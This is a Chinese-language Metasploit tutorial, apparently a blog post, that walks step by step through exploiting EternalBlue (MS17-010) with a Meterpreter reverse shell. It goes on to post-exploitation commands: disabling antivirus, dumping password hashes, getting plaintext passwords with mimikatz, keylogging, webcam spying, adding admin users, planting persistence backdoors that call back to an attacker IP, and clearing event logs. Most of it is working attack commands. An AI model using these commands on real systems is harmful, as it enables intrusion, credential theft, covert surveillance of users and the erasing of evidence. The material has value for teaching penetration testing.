目录python
Metasploitgit
漏洞利用(exploit)github
Meterpretershell
辅助模块(探测模块)vim
漏洞利用模块windows
后渗透阶段api
Metasploit Framework(MSF)
是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit能够用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“能够黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,可是再后来的新版中,改为了用Ruby语言编写的了。在kali中,自带了Metasploit工具。咱们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用
使用方法:
不一样的攻击用到的步骤也不同,这不是一成不变的,须要灵活使用。
咱们也能够将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,而后使用命令msfconsole -r configure.rc 进行自动攻击!
漏洞利用exploit,也就是咱们常说的 exp,他就是对漏洞进行攻击的代码。
exploit漏洞利用模块路径:/usr/share/metasploit-framework/modules/exploits
这里面有针对不一样平台的 exploit 。
咱们如今就如 windows 平台看看,这里会列出针对windows平台不一样服务的漏洞利用
咱们进入smb服务,这是windows中常常爆出漏洞的服务,好比咱们的永恒之蓝漏洞就在这里面。漏洞利用代码是以 rb 结尾的文件,由于metasploit是用Ruby语言编写的。
payload模块路径:/usr/share/metasploit-framework/modules/payloads
Payload中包含攻击进入目标主机后须要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们可以以漏洞利用模块运行,并可以利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块能够访问目标系统,而其中的代码定义了Payload在目标系统中的行为。
Shellcode :Shellcode是payload中的精髓部分,在渗透攻击时做为攻击载荷运行的一组机器指令。Shellcode一般用汇编语言编写。在大多数状况下,目标系统执行了shellcode这一组指令 以后,才会提供一个命令行shell。
Metasploit中的 Payload 模块主要有如下三种类型:
- -Single
- -Stager
- -Stage
在 Metasploit 中,咱们能够经过Payload的名称和使用格式来推断它的类型:
Single Payload的格式为:<target>/ <single> 如:windows/powershell_bind_tcp Stager/Stage Payload的格式为:<target>/ <stage> / <stager> 如:windows/meterpreter/reverse_tcp
当咱们在Metasploit中执行 show payloads 命令以后,它会给咱们显示一个可以使用的Payload列表:
在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload
而 windows/meterpreter/reverse_tcp 则由一个Stage Payload(meterpreter)和 一个Stager Payload(reverse_tcp)组成
Stager中几种常见的payload
windows/meterpreter/bind_tcp #正向链接 windows/meterpreter/reverse_tcp #反向链接,经常使用 windows/meterpreter/reverse_http #经过监听80端口反向链接 windows/meterpreter/reverse_https #经过监听443端口反向链接 正向链接使用场景:咱们的攻击机在内网环境,被攻击机是外网环境,因为被攻击机没法主动链接到咱们的主机,因此就必须咱们主动链接被攻击机了。可是这里常常遇到的问题是,被攻击机上开了防火墙,只容许访问指定的端口,好比被攻击机只对外开放了80端口。那么,咱们就只能设置正向链接80端口了,这里颇有可能失败,由于80端口上的流量太多了 反向链接使用场景:咱们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动链接到咱们的主机了。若是是这样的状况,建议使用反向链接,由于反向链接的话,即便被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外链接的流量。 反向链接80和443端口使用场景:被攻击机能主动链接到咱们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只容许被攻击机的80端口或443端口与外部通讯
Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程当中可经过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它可以经过建立一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
Meterpreter是如何工做的?
首先目标先要执行初始的溢出漏洞会话链接,多是 bind,或者反弹 reverse 链接。反射链接的时候加载dll连接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,经过 socket套接字创建一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,全部的扩展被加载都经过TLS/1.0进行数据传输。
Meterpreter的特色:
咱们在设置 payloads 时,能够将 payloads 设置为:windows/meterpreter/reverse_tcp ,而后得到了 meterpreter> 以后咱们就能够干不少事了!具体的作的事,在咱们下面的后渗透阶段都有讲!
咱们如今模拟使用 MS17_010 漏洞攻击,这个漏洞就是去年危害全球的勒索病毒利用的永恒之蓝漏洞。
kali控制台输入:msfconsole 进入metasploit框架
寻找MS17_010漏洞: search ms17_010
这里找到了两个模块,第一个辅助模块是探测主机是否存在MS17_010漏洞,第二个是漏洞利用模块,咱们先探测哪些主机存在漏洞
输入命令:use auxiliary/scanner/smb/smb_ms17_010
查看这个模块须要配置的信息:show options
RHOSTS 参数是要探测主机的ip或ip范围,咱们探测一个ip范围内的主机是否存在漏洞
输入:set RHOSTS 192.168.125.125-129.168.125.140
输入:exploit 攻击,这里有+号的就是可能存在漏洞的主机,这里有3个主机存在漏洞
而后咱们就能够去利用漏洞攻击了,选择漏洞攻击模块: use exploit/windows/smb/ms17_010_eternalblue
查看这个漏洞的信息:info
查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操做系统版本、语言版本的系统:show targets
这里只有一个,有些其余的漏洞模块对操做系统的语言和版本要求的很严,好比MS08_067,这样就要咱们指定目标系统的版本的。若是不设置的话,MSF会自动帮咱们判断目标操做系统的版本和语言(利用目标系统的指纹特征)
查看攻击载荷:show payloads
设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
查看模块须要配置的参数: show options
设置RHOST,也就是要攻击主机的ip:set RHOST 192.168.125.138
设置LHOST,也就是咱们主机的ip,用于接收从目标机弹回来的shell:set LHOST 192.168.125.129
若是咱们这里不设置lport的话,默认是4444端口监听
攻击: exploit
运行了exploit命令以后,咱们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功以后,咱们将会看到命令提示符 meterpreter > 出现,咱们输入: shell 便可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,咱们只需输入:exit
咱们要想从 meterpreter 退出到MSF框架,输入:background
输入: sessions -l 查看咱们得到的shell,前面有id
输入: session -i 1 便可切换到id为1的shell
输入:sysinfo 查看目标主机的信息
run post/windows/gather/checkvm
拿到目标主机的shell后第一件事就是关闭掉目标主机的杀毒软件,经过命令:run killav
使用命令:run scraper ,它将目标机器上的常见信息收集起来而后下载保存在本地
Meterpreter支持很是多的文件系统命令(基本跟Linux系统命令相似),一些经常使用命令以下:
cd:切换目标目录;
cat:读取文件内容;
rm:删除文件;
edit:使用vim编辑文件
ls:获取当前目录下的文件;
mkdir:新建目录;
rmdir:删除目录;
download file 命令能够帮助咱们从目标系统中下载文件
upload file 命令则可以向目标系统上传文件。
有的时候,你可能会发现本身的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。好比说,修改注册表、安装后门或导出密码等活动都须要提高用户权限,而Meterpreter给咱们提供了一个 getsystem 命令,它可使用多种技术在目标系统中实现提权:
getuid 命令能够获取当前用户的信息,能够看到,当咱们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。
注:执行getsystem命令后,会显示错误,可是其实已经运行成功了!
不少用户习惯将计算机设置自动登陆,可使用 run windows/gather/credentials/windows_autologin
抓取自动登陆的用户名和密码
hashdump 模块能够从SAM数据库中导出本地用户帐号,执行:run hashdump
数据的输出格式为: 用户名:SID:LM哈希:NTLM哈希::: ,因此咱们获得了三个用户帐号,分别为Administrator、Guest和小谢
其中的LM哈希(aad3b435b51404eeaad3b435b51404ee)和NTLM哈希(31d6cfe0d16ae931b73c59d7e0c089c0)对应的是一个空密码。
接下来要处理的就是用户 小谢 的密码( a86d277d2bcd8c8184b01ac21b6985f6 )了。咱们可使用相似John the Ripper这样的工具来破解密码。
这里获取用户密码还有一个命令,这个命令直接就把密码给爆出来了,只不过下面命令只针对32位系统才能获取到密码的。
可是,上面这样获取的用户密码都不是明文形式,因此,咱们能够经过上传mimikatz程序,而后执行mimikatz程序来获取明文密码。
执行mimikatz必须系统权限或者管理员权限。
咱们先提权至系统权限,而后执行 execute -i -f mimikatz.exe ,进入mimikatz的交互界面。而后执行:
先查看目标主机安装了哪些应用
run post/windows/gather/enum_applications
咱们还可使用 execute 命令在目标系统中执行应用程序。这个命令的使用方法以下:
execute 参数 -f 可执行文件
运行后它将执行所指定的命令。可选参数以下:
-f:指定可执行文件
-H:建立一个隐藏进程
-a:传递给命令的参数
-i: 跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程
输入:screenshot ,截图目标主机屏幕,能够看到,图片被保存到了 /root 目录下
先查看目标主机有哪些用户
run post/windows/gather/enum_logged_on_users
接下来,咱们能够在目标系统中建立一个新的用户帐号:run getgui -u hack -p 123,这个命令会建立用户,并把他添加到 Administrators 组中,还会将其添加到 Remote Desktop Users 组中,也就是远程桌面用户组中。
这里成功建立了用户,可是添加到Administrators组和远程桌面用户组中失败了 !
当咱们新添加的用户已经拥有远程桌面以后,咱们就可使用这个帐号凭证来开启远程桌面会话了。
首先,咱们须要确保目标Windows设备开启了远程桌面功能(须要开启多个服务),不过咱们的 getgui 脚本能够帮咱们搞定。咱们可使用-e参数确保目标设备开启了远程桌面功能(重启以后一样会自动开启),咱们输入: run getgui -e 或者 run post/windows/manage/enable_rdp
在开启远程桌面会话以前,咱们还须要使用“idletime”命令检查远程用户的空闲时长: idletime
而后咱们就可使用远程桌面用咱们建立的用户远程登陆目标主机了。因为上一步建立的用户没有被添加到远程桌面用户组中,因此这一步就无法演示。
Meterpreter还能够在目标设备上实现键盘记录功能,键盘记录主要涉及如下三种命令:
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:中止键盘记录功能
不过在使用键盘记录功能时,一般须要跟目标进程进行绑定,接下来咱们介绍如何绑定进程,而后获取该进程下的键盘记录
Meterpreter 既能够单独运行,也能够与其余进程进行绑定。所以,咱们可让Meterpreter与相似explorer.exe这样的进程进行绑定,并以此来实现持久化。
在下面的例子中,咱们会将Meterpreter跟 winlogon.exe 绑定,并在登陆进程中捕获键盘记录,以得到用户的密码。
首先,咱们须要使用: ps 命令查看目标设备中运行的进程:
咱们可使用: getpid 查看咱们当前的进程id
使用: migrate 命令来绑定目标进程id,这里绑定目标pid的时候,常常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可以使用 kill pid 命令关闭进程。或者使用自动迁移进程(run post/windows/manage/migrate
)命令,系统会自动寻找合适的进程而后迁移。
绑定完成以后,咱们就能够开始捕获键盘数据了,能够看到,用户输入了 123 而后回车,说明密码是 123
能够看到啊,目标主机有一个摄像头
因而,咱们拍一张照片看看,能够看到,已经拍完了照,而且显示出来了
咱们再来开启视频试试,开启摄像头拍摄视频。他会弹出一个网页,能够查看到摄像头那端的实时操做,至关于直播
输入 load 或者 run 而后双击table
由于 meterpreter 是基于内存DLL创建的链接,因此,只要目标主机关机,咱们的链接就会断。总不可能咱们每次想链接的时候,每次都去攻击,而后再利用 meterpreter 创建链接。因此,咱们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,咱们就能够链接到该主机。
创建持续性后门有两种方法,一种是经过启动项启动(persistence) ,一种是经过 服务启动(metsvc)
启动项启动
启动项启动的话,咱们先生成一个后门工具,传送门——> 用MSF生成一个后门木马
而后放到windows的启动目录中:
C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
这样这个后门每次开机就都能启动了,而后咱们只要相连就监听相应的端口就好了。
服务启动
经过服务启动,咱们能够运行命令
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动链接192.168.27的4444端口,缺点是容易被杀毒软件查杀 #而后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动
咱们在被攻击机能够看到这个文件,是一个VBScript脚本
查看靶机的端口链接状况,能够看到靶机连着咱们的8888端口
完成攻击操做以后,千万别忘了“打扫战场”。咱们的全部操做都会被记录在目标系统的日志文件之中,所以咱们须要在完成攻击以后使用命令 clearev 命令来清除事件日志:
Core Commands 核心命令
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
help Help menu
info Displays information about a Post module
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for 'load'
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands 文件系统命令
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands 网络命令
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands 系统命令
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands 用户界面命令
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands 摄像头命令
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Priv: Elevate Commands 提权命令
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands 密码
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands 时间戳命令
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
相关文章:Msfvenonm生成一个后门木马